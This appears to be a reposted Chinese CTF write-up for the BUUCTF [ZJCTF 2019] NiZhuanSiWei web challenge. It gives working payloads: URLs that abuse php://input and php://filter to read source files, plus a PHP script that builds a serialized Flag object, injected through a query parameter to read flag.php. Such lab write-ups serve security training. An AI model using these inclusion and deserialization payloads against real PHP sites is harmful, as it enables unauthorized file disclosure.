欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BUUCTF:[ZJCTF 2019]NiZhuanSiWei

程序员文章站 2022-05-11 18:02:05
...

题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

BUUCTF:[ZJCTF 2019]NiZhuanSiWei
BUUCTF:[ZJCTF 2019]NiZhuanSiWei
老题目了

/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

POST内容

welcome to the zjctf

BUUCTF:[ZJCTF 2019]NiZhuanSiWei
useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造POC

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BUUCTF:[ZJCTF 2019]NiZhuanSiWei

相关标签: CTF_WEB_Writeup